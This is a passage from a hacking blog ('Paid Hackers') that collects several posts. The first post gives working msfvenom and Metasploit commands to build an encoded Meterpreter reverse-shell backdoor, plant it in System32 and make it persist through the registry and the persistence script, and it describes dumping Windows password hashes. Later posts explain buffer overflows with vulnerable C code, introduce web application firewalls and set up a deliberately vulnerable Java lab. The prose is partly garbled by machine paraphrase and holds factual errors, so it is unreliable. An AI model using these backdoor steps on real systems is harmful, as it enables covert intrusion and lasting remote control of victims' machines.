The –e parameter is used to specify the type of encoding, which in this case is shikata _
ga _ nai; the –t parameter is used to define the type of format, which in this case would be exe.
By default, msfencode would use a single iteration of the encoder; if you would like to use more
iterations you can specify a –i parameter followed by the number of iterations.

MSFVenom

Msfvenom is a combination of both msfpayload and msfencode, which would make it easier for
us to generate a payload and encode at the same time. We can view the options by typing the following
command:

msfvenom –h

To generate an encoded executable, we will use the following command:

root@bt:~# msfvenom –p windows/meterpreter/reverse_tcp –e x86/shikata_ga_nai –i 5 LHOST = 192.168.75.144 LPORT = 4444 –f exe >/root/Desktop/backdoor.exe

We can see that our backdoor succeeded with five iterations. Now it’s time to upload our backdoor
to the target machine and make it persistent just like we did with netcat. We use the same
commands to accomplish our goal.
Command:

upload/root/Desktop/backdoor.exe C:\\Windows\\System32

Next we make our backdoor persistent by making changes to the registry.
Once our registry value has been set, as soon as Windows reboots, our backdoor starts making
connections to the lhost we provided. So in order to receive the connection, we need to set up a
handler.
We can set up a handler by issuing the following command from the Metasploit console:

use exploit/multi/handler

Next we need to define LHOST and LPORT, which we defined while we created the backdoor.
As soon as Windows reboots, a meterpreter session will be opened again:

Persistence

The Metasploit framework has two different types of backdoors built into it, namely, Metsvc
and persistence. In this section, we will talk about persistence, which is a built-in meterpreter
script that automates the backdooring process; it will automate the process of uploading and persistency.
We can view its options by typing the following command from the meterpreter
console:

meterpreter>Run persistence –h

To execute this script we use the following command:

run persistence –X –i 5 –p 4444 –r 192.168.75.144

The command would listen for all the connections on port 4444 on our local host
192.168.75.144. The argument –X instructs the backdoor to automatically start as soon as the
system boots. The –i parameter indicates the number of iterations that the payload would be
encoded, which in this case is 5, since the script also does the encoding for us. The default encoder
used is shikata _ ga _ nai.
From the output we can see that the script automatically creates a payload “Windows/
meterpreter/reverse _ tcp” and sets the registry value. As the victim turns his system
off, you would notice that our meterpreter session has died, and as soon as he reboots his computer
we will have our meterpreter session back due to our persistence script.
So till now you have learned about various backdoors and how they can be made persistent.
Now we move deeper into the maintaining access phase of postexploitation, and we will discuss
about another approach that could be used to maintain access on our target machine. The
approach involves getting access to services such as telnet, VNC, and RDP, though it’s not the
stealthiest approach as the network administrator might notice it, but sometimes it can get past
them and is great for a proof of concept in your penetration testing reports.

RDP (Remote Desktop) is one of the services that we would encounter most of the times; let’s
discuss some of the scenarios you might encounter:
1. It requires a password.
2. Remote desktop access is disabled and you need to re-enable it.
3. Our current user is not allowed to access the remote desktop.

So the first step requires us to obtain hashes. Before getting into how to obtain hashes, let’s see
what they are.

What Is a Hash?

Passwords are stored as either a plain text or their hash values inside a filesystem or a database.
A hash is basically a one-way cryptographic algorithm; the thing about a hash is that it’s irreversible,
which means that once a plain text password is sent across a hashing algorithm it’s
not possible for it to return to its original state since the process is irreversible. The only way of
doing it is by guessing the word and running it through the hashing algorithm and then manually
comparing it with our original hash. This is the process that is used to crack a password
hash.

Hashing Algorithms

There are different types of hashing algorithms; most popular among them are MD5 and SHA-1.
By looking at the hashes we cannot exactly figure out what type of hashing algorithm is being
used, but by comparing the length we can almost make an exact guess about what types of hashing
algorithms are being used. For example, the MD5 hash would have no more than 32 characters,
the SHA-1 41. So based upon the length, we can guess the hashing algorithms. The Hash Analyzer
is a very popular tool that can help you identify the hash type. Based upon its length it will make
a guess for all the hashes that are of the same length.

Windows Hashing Methods

Some of the hashing protocols for older versions of Windows were vulnerable by design and were
very easy to crack; we will discuss some of the flaws in Windows hashing methods in brief.
LAN Manager (LM)
Windows XP and prior versions of Microsoft Windows use the LAN Manager protocol. The protocol
is based upon a well-known block cipher (DES). However, due to the way it is designed it is
fairly easy for an attacker to crack the hashes. Let’s see how the hashing algorithm works, including
its weaknesses.
1. The password is converted to UPPER CASE, which is a good thing for password crackers, since
it would reduce the total number of combinations.
2. Password hashes are not salted, which means that if you are able to crack hashes for one
computer and someone uses the same password hash on a different computer, you can easily
figure out that it’s the same password.
3. If the password isn’t 14 characters long, it’s then padded with NULL characters.
4. Next, the password is split into two 7-character parts, which again is good from a password
cracking perspective as 7-character passwords are easier to crack than 14-character
passwords.
5. Each seven-byte hash is used as the key to encrypt “KGS!@#$%” with the DES (Data
encryption standard) algorithm.
6. Both of the strings are then concatenated to form a 16-byte LM hash.

NTLM/NTLM2

The NT LAN MANAGER protocol is used by operating systems such as Vista and above. It’s
more secure than the LM protocol. Unlike the LM protocol, it does not split up the passwords,
making it difficult for an attacker to crack them. The password stored is converted to uppercase,
which can still aid in password cracking. It also provides backward compatibility with the LAN
Manager. There are also some known attacks, such as “credential forwarding,” that can be used to
gain access to other machines on the network using the same password hashes.
NTLM2 is much more secure than NTLMV1, because it uses the 128-byte key, making it
harder for attackers to crack the hashes.

Kerberos

Kerberos is mostly used in active directory environments. It is Microsoft’s default protocol for
active directory environments, but in some situations where the domain controller is not available,
NTLM takes charge.

Where Are LM/NTLM Hashes Located?

The LM/NTLM hashes are stored inside of the SAM file. The SAM file is located in the
C:\\Windows\SYSTEM32\CONFIG directory. While the system is running it’s not possible for us
to copy or open a SAM file due to the protection that Microsoft has implemented. However, there
are various techniques/tools that can be used to dump the hashes from a SAM file.
That's all.

                                         Sincerely Paid hackers

Postexploitation - By Paid Hackers Postexploitation - By Paid Hackers Reviewed by amit on 18:35 Rating: 5

Buffer Overflow vulnerability - A brief explanation - By Paid Hackers

13:28
Buffer overflow vulnerability

Overview

A buffer overflow condition exists when a program endeavors to put more information in a buffer than it can hold or when a system endeavors to place data in a memory area past a buffer. For this situation, a buffer is a successive segment of memory apportioned to contain anything from a character string to a show of numbers. Composing outside the limits of a piece of distributed memory can degenerate information, crash the project, or reason the execution of malicious code.

Description

Buffer overflow attack is most likely the best known vulnerability of programming security weakness. Most programming engineers recognize what a buffer overflow attack or vulnerability is, however buffer overflow attacks against both legacy and recently created applications are still very normal. Some piece of the issue is because of the wide mixture of ways buffer overflow can happen, and part is because of the blunder inclined systems regularly used to avoid them which led to buffer overflow attack.

buffer overflows are not simple to find and notwithstanding when one is found, it is by and large to a great degree hard to exploit and attack the vulnerability. By and by, attackers or exploiters have figured out how to distinguish buffer overflows in a stunning show of items and parts.

In an excellent buffer overflow attack or exploit, the attacker/exploiter sends information to a program, which it stores in an undersized stack buffers. The outcome is that data on the call stack is overwritten, including the function's return pointer. The information sets the estimation of the arrival pointer so that when the function returns, it transfers control to pernicious or malicious code contained in the assailant's or attacker's or exploiter's data.

Despite the fact that this sort of stack buffer overflow attack is still basic on a few stages and in some improvement groups, there are a mixed bag of different sorts of buffer overflows, including Heap buffer overflow attack and Off-by-one Error among others. Another fundamentally the same class of imperfectionscor flaws is known as Format string exploit or attack. There are various phenomenal books that give itemized data on how buffer overflow attack or assaults or exploit work, including Building Secure Software [1], Writing Secure Code [2], and The Shellcoder's Handbook [3].

At the code level, buffer overflow vulnerabilities normally include the infringement or voilation of a developer's presumptions or programmer's assumptions. Numerous memory control works in C and C++ don't perform limits checking and can undoubtedly overwrite the assigned limits of the buffer they work upon. Indeed, even limited capacities, for example, strncpy(), can bring about vulnerabilities when utilized mistakenly. The blend of memory control and mixed up suspicions about the size or makeup of a bit of information is the main driver or the root cause of most buffer overflows.
Buffer overflow vulnerabilities commonly happen in code that:
  • Depends on outer information to control its conduct
  • Relies on properties of the information that are implemented outside of the quick extent of the code
  • Is complex to the point that a developer can't precisely anticipate its conduct
Buffer Overflow and Web Applications
 
Assailants or attackers utilise buffer overflows to degenerate or corrupt the execution pile or stack of a web application. By sending deliberately made info to a web application, an aggressor can bring about the web application to execute discretionary/arbitrary code – viably assuming control over the machine.

Buffer overflow imperfections/flaws can be available in both the web server or application server items that serve the static and element parts of the webpage, or the web application itself. Buffer overflow found in generally utilized server items are liable to end up broadly known and can represent a critical danger to clients of these items. At the point when web applications use libraries, for example, an illustrations library to create pictures, they open themselves to potential buffer overflow Attacks or assaults.

Buffer overflows can likewise be found in custom web application code, and may even be more probable given the absence of investigation that web applications commonly experience. Buffer overflow imperfections/flaws in custom web applications are less inclined to be identified in light of the fact that there will regularly be far less programmers attempting to discover and adventure such defects in a particular application. In the event that found in a custom application, the capacity to exploit the defect/flaw (other than to crash the application) is essentially diminished by the way that the source code and definite lapse messages for the application are typically not accessible to the hacker.

Consequences
  • Category:Availability: Buffer overflows led ot large prompt crashes. Different assaults/attacks prompting absence of accessibility are conceivable, including putting the system into an endless loop.
  • Access control (instruction processing): Buffer overflows frequently can be utilized to execute self-assertive code, which is for the most part outside the extent of a program's verifiable security approach.
  • Other: When the outcome is self-assertive code execution, this can regularly be utilized to subvert some other security administration.
Exposure period
  • Prerequisites particular: The decision could be made to utilize a dialect that is not helpless to these issues.
  • Configuration: Mitigating advancements, for example, safe-string libraries and compartment deliberations could be presented. 
  • Usage: Many logic errors can prompt this condition. It can be exacerbated by absence of or mis¬use of relieving advancements

Environments Affected
 
All known web servers, application servers, and web application situations are defenseless to buffer overflows, the eminent special case being situations composed in translated languages like Java or Python, which are invulnerable to these assaults or attacks (with the exception of buffer overflow in the Interpretor itself).

Platform
  • Languages: C, C++, Fortran, Assembly
  • Operating platforms: All, although partial preventative measures may be deployed, depending on environment.
Required resources
 
Any

Severity
 
Very High

Likelihood of exploit
 
High to Very High

How to Determine If You Are Vulnerable
 
For server items and libraries, stay aware of the most recent bug reports for the items you are utilizing. For custom application programming, all code that acknowledges info from clients through the HTTP ask for must be evaluated to guarantee that it can appropriately handle subjectively huge data.

How to Protect Yourself
 
Stay aware of the most recent bug reports for your web and application server items and different items in your Internet framework. Apply the most recent patches to these items. Occasionally check your site with one or a greater amount of the usually accessible scanners that search for buffer overflow imperfections/flaws in your server items and your custom web applications. For your custom application code, you have to survey all code that acknowledges information from clients by means of the HTTP ask for and guarantee that it gives fitting size wiretapping every such data. This ought to be done notwithstanding for situations that are not vulnerable to such assaults/attacks as excessively vast inputs that are uncaught may at present reason for denial of service or other operational issues.

Examples

Example 1.a

The accompanying specimen code exhibits a straightforward buffer overflow that is regularly brought about by the first situation in which the code depends on outer information to control its conduct. The code utilizes the gets() capacity to peruse a self-assertive measure of information into a buffer overflow. Since there is no real way to farthest point the measure of information read by this capacity, the security of the code relies on upon the client to dependably enter less than BUFSIZE characters.
 
        ...
 char buf[BUFSIZE]; 
 gets(buf);
 ...

Example 1.b

This case demonstrates that it is so natural to copy the perilous conduct of the gets() function in C++ by utilizing the >> operator to peruse data into a char[] string.
 ...
 char buf[BUFSIZE]; 
 cin >> (buf);
 ...

Example 2

The code in this illustration likewise depends on client info to control its conduct, yet it includes a level of indirection with the utilization of the bounded memory copy function memcpy(). This function acknowledges a destination buffer, a source buffer, and the quantity of bytes to copy. The input buffer is filled by a bounded call to read(), however the client indicates the quantity of bytes that memcpy() duplicates.
 ...
 char buf[64], in[MAX_SIZE];
 printf("Enter buffer contents:\n");
 read(0, in, MAX_SIZE-1);
 printf("Bytes to copy:\n");
 scanf("%d", &bytes);
 memcpy(buf, in, bytes);
 ...
Note: This kind of Buffer overflow vulnerability (where a program reads information and after that trusts a worth from the information in consequent memory operations on the remaining information) has turned up with some recurrence in picture, sound, and other record handling libraries.

Example 3

This is a case of the second situation in which the code relies on upon properties of the information that are not confirmed by regional standards. In this case a function named lccopy() takes a string as its argument and returns a heap-allocated duplicate of the string with every uppercase letter changed over to lowercase. The function performs no bounds keeping an eye on its info on the grounds that it anticipates that str will dependably be littler than BUFSIZE. On the off chance that an attacker bypass checks in the code that calls lccopy(), or if an adjustment in that code makes the supposition about the extent of str untrue, then lccopy() will flood buf with the unbounded call to strcpy().

 char *lccopy(const char *str) {
  char buf[BUFSIZE];
  char *p;
 
  strcpy(buf, str);
  for (p = buf; *p; p++) {
    if (isupper(*p)) {
    *p = tolower(*p);
   }
  } 
  return strdup(buf);
 }

Example 4

The accompanying code shows the third situation in which the code is so intricate its conduct can't be effectively anticipated. This code is from the famous libPNG image decoder, which is utilized by a wide array of applications, including Mozilla and a few adaptations of Internet Explorer.

The code seems to securely perform bounds checking in light of the fact that it checks the size of the variable length, which it later uses to control the amount of data copied by png_crc_read(). Then again, quickly before it tests length, the code performs a reconnoiter png_ptr->mode, and if this check fails, a notice is issued and transforming proceeds. Since length is tested in an else if block, length would not be tested if the first check falls flat, and is utilized indiscriminately as a part of the call to png_crc_read(), possibly permitting a stack buffer overflow.

Despite the fact that the code in this sample is not the most complex we have seen, it exhibits why unpredictability ought to be minimized in code that performs memory operations.

 if (!(png_ptr->mode & PNG_HAVE_PLTE)) {
  /* Should be an error, but we can cope with it */
  png_warning(png_ptr, "Missing PLTE before tRNS");
 }
 else if (length > (png_uint_32)png_ptr->num_palette) {
  png_warning(png_ptr, "Incorrect tRNS chunk length");
  png_crc_finish(png_ptr, length);
  return;
 }
 ...
 png_crc_read(png_ptr, readbuf, (png_size_t)length);
 
 

Example 5

This case likewise exhibits the third situation in which the program's complexity exposes it to buffer overflow. For this situation, the exposure is because of the questionable interface of one of the functions rather the structure of the code (just like the case in the past example).

The getUserInfo() function takes a username specified as a multibyte string and a pointer to a structure for client data, and populates the structure with data about the client. Since Windows authentication utilizes Unicode for usernames, the username contention is initially changed over from a multibyte string to a Unicode string. This function then erroneously passes the extent of unicodeUser in bytes instead of characters. The call to MultiByteToWideChar() might in this manner review to (UNLEN+1)*sizeof(WCHAR) wide characters, or (UNLEN+1)*sizeof(WCHAR)*sizeof(WCHAR) bytes, to the unicodeUser array, which has just (UNLEN+1)*sizeof(WCHAR) bytes allocated. On the off chance that the username string contains more than UNLEN characters, the call to MultiByteToWideChar() will overflow the buffer unicodeUser.


 void getUserInfo(char *username, struct _USER_INFO_2 info){
  WCHAR unicodeUser[UNLEN+1];
  MultiByteToWideChar(CP_ACP, 0, username, -1,
       unicodeUser, sizeof(unicodeUser));
 NetUserGetInfo(NULL, unicodeUser, 2, (LPBYTE *)&info);
 }
 
 
                 Sincerely Paid hackers 
Buffer Overflow vulnerability - A brief explanation - By Paid Hackers Buffer Overflow vulnerability - A brief explanation - By Paid Hackers Reviewed by amit on 13:28 Rating: 5

Introduction to Web Application Firewall (WAF) ~ Website Security - By Paid Hackers

17:28
web application firewall waf

What is WAF? WAF ( Web application firewall ) is expanded as Web Application Firewall. WAF is server side application that controls the input and output(filter the HTTP communication). It controls network traffic on any OSI Layer up to Application Layer. The main purpose of WAF is to provide better protection over the top Wep Application vulnerability such as XSS(Cross Site Scripting), SQL Injection,RFI. Daily lot of websites hacked because of these vulnerability. Standard firewall blocks Non-HTTP attacks(restriction of ports,access..). This WAF blocks HTTP attack.

The Most common Web Application Vulnerabilities:
SQL Injection(SQLi)
Cross-Site Scripting (XSS)
Broken Authentication and Session Management
Insecure Direct Object References
Cross-Site Request Forgery (CSRF)
Security Misconfiguration
Insecure Cryptographic Storage
Failure to Restrict URL Access
Insufficient Transport Layer Protection
Unvalidated Redirects and Forwards


web application firewall waf methodology and working


The Wep Application Firewall(WAF) must meat the following features:

Protection Against Top Vulnerability(XSS,SQLi,..etc)
Very Few False Positives (i.e., should NEVER disallow an authorized request)
Strength of Default (Out of the Box) Defenses
Power and Ease of Learn Mode
Types of Vulnerabilities it can prevent.
Detects disclosure and unauthorized content in outbound reply messages, such as credit-card and Social Security numbers.
Both Positive and Negative Security model support.
Simplified and Intuitive User Interface.
Cluster mode support.
High Performance (milliseconds latency).
Complete Alerting, Forensics, Reporting capabilities.
Web ServicesXML support.
Brute Force protection.
Ability to Active (block and log), Passive (log only) and bypass the web trafic.
Ability to keep individual users constrained to exactly what they have seen in the current session
Ability to be configured to prevent ANY specific problem (i.e., Emergency Patches)
Form Factor: Software vs. Hardware (Hardware generally preferred)
                                             Sincerely Paid hackers
Introduction to Web Application Firewall (WAF) ~ Website Security - By Paid Hackers Introduction to Web Application Firewall (WAF) ~ Website Security - By Paid Hackers Reviewed by amit on 17:28 Rating: 5

Java Vulnerable Lab – Learn to Hack and secure Java based Web Applications - By Paid Hackers

16:55
java vulnerability lab
cyberl Security and Privacy Foundation have added to a helpless Java based Web Applicatoin . This application is proposed for the Java Programmers and other individuals who wish to find out about Web application vulnerabilities and compose secure code.

The full course on Hacking and Securing Web Java Programs is available in

https://www.udemy.com/hacking-securing-java-web-programming/

Cautioning: Don't run this application in Your Main Machine or in an online server. Introduce it in Vitual Machine.

How to setup Java Vulnerable Lab?

Method 1.Very Easiest Method : VirtualBox VM  The Most easiest way to use Java Vulnerable is using the VirtualBox VM which has everything set up and ready to use.

Steps: 

1. Install the VirtualBox : https://www.virtualbox.org/wiki/Downloads 
 3. Import the JavaVulnerable.ova into VirtualBox. 
 4. Change the Network Settings to Host-Only Network 
 5. Start the Machine and Log into the Machine( Credentials; username: root password: cspf) 
 6. Start Tomcat by entering "service tomcat start" in the Terminal 
 7. Start mysql by entering "service mysql start" in the Terminal 
 8. Find the IP Address of Machine 
 9. In your Browser, go to "http://[IP_ADDRESS_OF_VM]:8080/JavaVulnerableLab/install.jsp 
 10. Click the Install Button 11. Enjoy :) 


Method 2.Easiest Method : Standalone Web Application In this mehtod, you will be running an executable “JAR” file which runs the application with an embedded Apache Tomcat.

Steps: 

 1. Install JDK
 3. Double Click the JavaVulnerable.jar to run( if double click is not working, run this command "java -jar JavaVulnerable.jar" in your Terminal or CMD) 
 4. In your Browser, go to "http://localhost:8080/JavaVulnerableLab/install.jsp
 5. Click the Install Button




Method 3. Using War file: This is a NORMAL method to deploy the WAR file.

Steps:
 1. Install Apache Tomcat server 
 2. Go to http://[Tomcat_INSTALLED_IP]:8080/manager/ (make sure you have modified tomcat-users.xml file of the tomcat to allow the manager). 
 3. Download our WAR file from here: https://sourceforge.net/projects/javavulnerablelab/files/latest/JavaVulnerableLab.war/download 
 4. Deploy the WAR in Apache Tomcat manager. 
 5. Go to http://[Tomcat_INSTALLED_IP]:8080/JavaVulnerableLab/install.jsp
 6. Click the Install Button
                                                  Sincerely Paid hackers
Java Vulnerable Lab – Learn to Hack and secure Java based Web Applications - By Paid Hackers Java Vulnerable Lab – Learn to Hack and secure Java based Web Applications - By Paid Hackers Reviewed by amit on 16:55 Rating: 5
Powered by Blogger.